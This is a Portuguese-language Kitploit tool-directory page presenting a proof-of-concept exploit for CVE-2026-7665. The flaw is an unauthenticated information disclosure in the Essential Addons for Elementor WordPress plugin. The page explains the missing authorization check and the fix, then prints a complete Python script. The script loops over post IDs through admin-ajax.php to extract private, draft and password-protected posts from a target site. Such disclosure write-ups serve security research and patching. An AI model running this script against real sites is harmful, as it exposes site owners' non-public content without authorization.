Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-7665 — Exploit de prova de conceito para CVE-2026-7665, uma divulgação de informações não autenticada no Essential Addons for Elementor, permitindo extração de posts WordPress privados, rascunhos e protegidos por senha. | Kitploit
Ferramentas/GitHubGitHub/anirudhmakkar/cve-2026-7665
Análise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubanirudhmakkar/cve-2026-7665

cve-2026-7665

Exploit de prova de conceito para CVE-2026-7665, uma divulgação de informações não autenticada no Essential Addons for Elementor, permitindo extração de posts WordPress privados, rascunhos e protegidos por senha.

Ver Repositório
16há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-7665 — Divulgação de Informações Não Autenticada em Essential Addons for Elementor

CampoDetalhe
CVE IDCVE-2026-7665
SeveridadeMédio
Pontuação CVSS5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Plugin AfetadoEssential Addons for Elementor
Versões Afetadas≤ 6.6.4
Instalações Ativas1.000.000+
CVE Atribuído porWordfence (CNA)
DivulgadoJunho de 2026
PesquisadorAnirudh Makkar

Resumo

O manipulador AJAX ajax_load_more no Essential Addons for Elementor não impunha a visibilidade do post antes de retornar o conteúdo do post. Isso permitiu que atacantes não autenticados lessem posts privados, protegidos por senha e rascunho do WordPress ao enviar uma solicitação elaborada para wp-admin/admin-ajax.php — nenhuma autenticação ou nonce era necessária.


Detalhes da Vulnerabilidade

Causa Raiz

O plugin registra um manipulador no hook de ação wp_ajax_nopriv_eael_post_grid_load_more, tornando-o acessível a visitantes não autenticados. Quando este manipulador executa um WP_Query para buscar posts para a funcionalidade de paginação "load more", ele não chama current_user_can('read_post', $post_id) nem verifica get_post_status() em relação às capacidades do usuário solicitante.

O núcleo do WordPress depende dos plugins para impor autorização a nível de post em manipuladores AJAX — ele não o faz automaticamente. A ausência dessa verificação significa que o manipulador retorna o conteúdo completo do post independentemente das configurações de visibilidade do post.

Caminho do Código Afetado

wp-admin/admin-ajax.php
  → do_action('wp_ajax_nopriv_eael_post_grid_load_more')
    → Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
      → WP_Query([
            'post_status' => ['publish', 'private', 'draft'],  // todos os status retornados
            ...
        ])
      → [retorna o conteúdo completo do post sem verificação de autorização]

Impacto

Um atacante não autenticado pode enumerar e ler:

  • Posts privados (destinados apenas a usuários logados)
  • Posts protegidos por senha (sem conhecer a senha)
  • Posts em rascunho (conteúdo não publicado)

Isso pode expor conteúdo empresarial sensível, anúncios não lançados, documentação interna publicada como posts do WordPress ou qualquer outro conteúdo não público gerenciado através do editor do WordPress.


Prova de Conceito

#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4

Usage: python3 poc.py https://target.example.com [post_id]

Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""

import requests
import sys
import json

def check_target(base_url):
    """Verify the plugin is present."""
    resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
    return resp.status_code != 404

def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
    url = f"{base_url}/wp-admin/admin-ajax.php"
    data = {
        "action":    "eael_post_grid_load_more",
        "widget_id": widget_id,
        "page_id":   page_id,
        "post_id":   str(post_id),
        "page":      "2",
    }
    try:
        resp = requests.post(url, data=data, timeout=10)
        if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
            return resp.text
    except requests.RequestException:
        pass
    return None

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
        sys.exit(1)

    target   = sys.argv[1].rstrip("/")
    start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    end_id   = int(sys.argv[3]) if len(sys.argv) > 3 else 50

    print(f"[*] Target: {target}")
    print(f"[*] Probing post IDs {start_id}–{end_id}")

    if not check_target(target):
        print("[!] Plugin not detected — target may be patched or not running EAEL")

    found = 0
    for pid in range(start_id, end_id + 1):
        result = fetch_private_post(target, pid)
        if result:
            found += 1
            print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
            print(result[:300])
            print("..." if len(result) > 300 else "")

    print(f"\n[*] Done. {found} post(s) with exposed content found.")

if __name__ == "__main__":
    main()

Remediação

Atualize o Essential Addons for Elementor para a versão 6.6.5 ou posterior.

A correção adiciona uma verificação current_user_can('read_post', $post_id) dentro do manipulador load-more antes de incluir qualquer post nos resultados da consulta.


Referências

  • Aviso da Wordfence
  • NVD — CVE-2026-7665
  • Changelog do Essential Addons for Elementor

Relatado por Anirudh Makkar · LinkedIn

Baixar ferramenta